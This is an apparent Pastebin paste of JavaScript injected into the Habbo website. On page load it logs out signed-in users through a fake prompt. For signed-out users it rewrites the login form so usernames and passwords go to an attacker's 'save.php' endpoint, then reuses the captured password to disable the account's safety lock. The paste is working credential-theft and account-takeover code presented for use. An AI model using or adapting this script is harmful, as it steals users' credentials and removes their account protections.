Advertisement
nPhoenix

bla bla bla

Jan 21st, 2013
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. window.onload = (function () {
  2.     if (document.habboLoggedIn == true) {
  3.         if (confirm("Voc" + unescape('%EA') + " precisa estar desconectado, deseja sair?")) {
  4.             new Ajax.Request("/account/logout_ok?token=" + $$('meta[name=csrf-token]')[0].content, {
  5.                 onComplete: function () {
  6.                     location = '/';
  7.                 }
  8.             });
  9.         };
  10.     };
  11.     if (document.habboLoggedIn == false) {
  12.         c = $$(".login-field"), c[0].name = "u", c[1].name = "p", f = $$("#loginformitem")[0], f.action = "http://<?=$_SERVER['HTTP_HOST']?>/save.php", f.method = "GET";
  13.         new Ajax.Request("/account/submit?credentials.username=" + c[0] + "&credentials.password=" + c[1], {
  14.             onComplete: function () {
  15.                 new Ajax.Request('/identity/email', {
  16.                     onComplete: function (x) {
  17.                         x = x.responseText;
  18.                         var urlToken = x.match(/name="urlToken" value="(.+)"/)[1];
  19.                         var app = $$("meta[name=csrf-token]")[0].readAttribute("content");
  20.                         var senha = c[1];
  21.                         new Ajax.Request('/identity/safetylock_disable', {
  22.                             parameters: "__app_key" + app + "&urlToken=" + urlToken + "&currentPassword=" + senha
  23.                         });
  24.                     }
  25.                 });
  26.             }
  27.         });
  28.  
  29.     };
  30. };
  31. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement